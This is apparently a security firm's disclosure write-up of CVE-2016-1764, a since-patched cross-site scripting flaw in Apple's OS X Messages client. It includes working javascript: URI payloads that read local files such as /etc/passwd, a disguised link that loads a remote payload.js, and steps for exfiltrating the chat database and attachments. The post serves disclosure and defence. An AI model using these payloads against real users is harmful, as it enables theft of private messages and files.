If You Can't Break Crypto, Break the Client: Recovery of Plaintext iMessage Data

Black apple logo against white background If You Can't Break Crypto, Break the Client: Recovery of Plaintext iMessage Data

Share

CVE-2016-1764, fixed by Apple in March of 2016, is an application-layer bug that leads to the remote disclosure of all message content and attachments in plaintext by exploiting the OS X Messages client. In contrast to attacking the iMessage protocol, it is a relatively simple bug. You don’t need a graduate degree in mathematics to exploit it, nor does it require advanced knowledge of memory management, shellcode, or ROP chains. All an attacker requires is a basic understanding of JavaScript.

The below video demonstrates this attack in action:

Technical TL;DR

Messages (iMessage) for OS X from Apple implements its user interface via an embedded version of WebKit. Additionally, Messages on OS X will render any URI as a clickable HTML <a href=”URI”> link. An attacker can create a simple JavaScript URI (e.g.,javascript:) that when clicked, allows the attacker’s code to gain initial execution (cross-site scripting) in the context of the application DOM.

Though the embedded WebKit library used by Messages for OS X executes in an applewebdata:// origin, an attacker can still read arbitrary files using XMLHttpRequest (XHR) GET requests to a file:// URI due to the lack of a same-origin policy (SOP). By abusing XHR to read files, an attacker can upload a victim’s chat history and attachments to a remote server as fast as the victim’s Internet connection will allow.

The only user interaction required for a successful attack is a single click on a URL. Furthermore, if the victim has the ability to forward text messages from their computer (SMS forwarding) enabled, the attacker can also recover any messages sent to or from the victim’s iPhone.

Want to know all the gritty details? Then keep reading.

Technical Details

Messages for OS X

Messages for OS X depends upon an embedded version of the HTML rendering engine WebKit for much of its user interface. When messages are sent or received, HTML is inserted into the DOM to render the UI and any accompanying attachments/media content. All messages sent through the application are rendered in a DOM; hence, common client-side web vulnerabilities can affect the Messages for OS X application.

When testing the Messages for OS X client, arbitrary protocols schemes were found to be automatically converted into links and inserted into the DOM. The example URIs below are all inserted as links into the WebView when messaged:

test://test

smb://[email protected]

file:///etc

anyurihandler://anycontentafter

As Messages for OS X does not implement an accepted protocol whitelist, an attacker can send a message to a victim containing the JavaScript namespace, javascript://. This will be converted into a link on the victim's machine.

Once the link is clicked, the embedded WebKit will execute the attacker-controlled JavaScript in the current origin, for example:

Once clicked, the embedded WebKit will execute the attacker-controlled JavaScript in the current origin:

Note that %0a (i.e. \n) is used to escape the JavaScript comment //, which is required to match the parser’s linking pattern. Once the code is interpreted, it looks like the following:

//bishopfox.com/research?

prompt(1)

Upon clicking this link, a JavaScript prompt is triggered in Messages for OS X:

APLBlog2

However, Messages for OS X is a desktop application, not a website. Thus, JavaScript is executed in the context of a applewebdata://origin:


Since the attacker’s code is executing in a full WebKit implementation, XMLHttpRequest is available at runtime. One of the most notable differences between an embedded version of WebKit and a web browser like Chrome or Safari is that WebKit does not implement any same-origin policy (SOP) because it is a desktop application. An attacker can take advantage of this to read files from the local filesystem without violating the same-origin policy by sending XMLHttpRequest GET requests to file:// URIs. The only requirement is that the attacker must know the full file path. Relative file system paths (e.g., ~/.ssh/id_rsa) cannot be used.

Reading Files

The Messages for OS X application DOM can execute the following to read the /etc/passwd file:

function reqListener ()

{ prompt(this.responseText);

// send back to attacker’s server here

}

var oReq = new XMLHttpRequest();

oReq.addEventListener("load", reqListener);

oReq.open("GET", "file:///etc/passwd");

oReq.send();

After being converted into a URI payload, the code resembles the below:

javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B

When clicked in the Messages application, the following prompt appears:

Image depicting what happens in the Messages for OSX application when a payload is clicked.

As the above vector seems long and suspicious, shortening the URI is possible by dynamically loading JavaScript from another domain and including it in the DOM. The example below injects the JavaScript from http://example.com/1.js ;into the application’s DOM:

javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

The JavaScript file referenced in the example above can contain arbitrary JavaScript instructions of an arbitrary length.

Due to the OS X application sandbox, files were only accessible if they were located in ~/Library/Messages/* and some other non-user system directories such as /etc/.

Taking the Messages Database and Attachments

When messages and attachments are received by Messages for OS X, they are saved in this directory:

/Users/<username>/Library/Messages/*

These messages’ textual content and other metadata are stored in a SQLite database located at:

/Users/<username>/Library/Messages/chat.db

This database also contains the locations for all attachments located on a user's machine. To steal this database, and subsequently all attachments ever received or sent by a victim, a more advanced attack payload becomes necessary.

The Exploit Overview

The following steps need to be carried out before data can be successfully removed by an attacker.

  • Gain initial JavaScript execution in the application DOM
  • Obtain the current user (~cannot be used)
  • Generate a full path with the username for the chat.db file i.e.,
    /Users/ExampleUser/Library/Messages/chat.db
  • Use XMLHttpRequest to read the db database and query it for attachment's file paths
  • Upload the database and all attachments using XMLHttpRequest (or HTML5 WebSockets)

We can determine the currently logged-in user by requesting and parsing/Library/Preferences/com.apple.loginwindow.plist. This file is readable from in the OS X application’s sandbox, which makes it trivial to construct the full path to the user's chat.db.

Once the database file has been exfiltrated, it can be passed to a custom server-side script that extracts the full paths of the attachments sent and received by the victim. These are found in the database’s attachments table. These full paths are retrieved by the malicious JavaScript payload and are used to extract the attachment files from the victim's machine via XMLHttpRequest.

The attacker next performs a little obfuscation to make the URL’s appearance more realistic:

javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29

If a victim clicks the above URI in the Messages for OS X application, the victim's entire chat history and all associated attachments are transferred to the attacker.

Exploit code for this is available on our Github.

Takeaways for Developers: JavaScript is Everywhere

Client-side content injection flaws are no longer limited to the browser, and haven’t been for some time now. While it’s certainly helpful for developers to use web technologies such as WebKit or its more dangerous kin nw.js to build desktop applications, these libraries can have adverse effects on application security when used naively. It is clear that embedded web frameworks allow common vulnerabilities, such as cross-site scripting (XSS), to be leveraged in a more devastating way than previously possible.

This vulnerability also demonstrates the power a URI has over your machine. To the novice user, a URI is simply a link to a website, but this is only one variant of a much more complicated ecosystem. Much like an email attachment, users should never click a URI unless you trust the source it came from, and even then exercise prudence.

We’d like to thank Apple for communicating with us throughout this process and their cooperation in quickly remediating this vulnerability.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Default fox headshot blue

About the author, Joe DeMesy, Shubham Shah, and Matthew Bryant

Joe DeMesy, Shubham Shah, and Matthew Bryant collaborated on security research into popular messaging platforms, most notably Apple iMessage, in 2016.

More by Joe

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.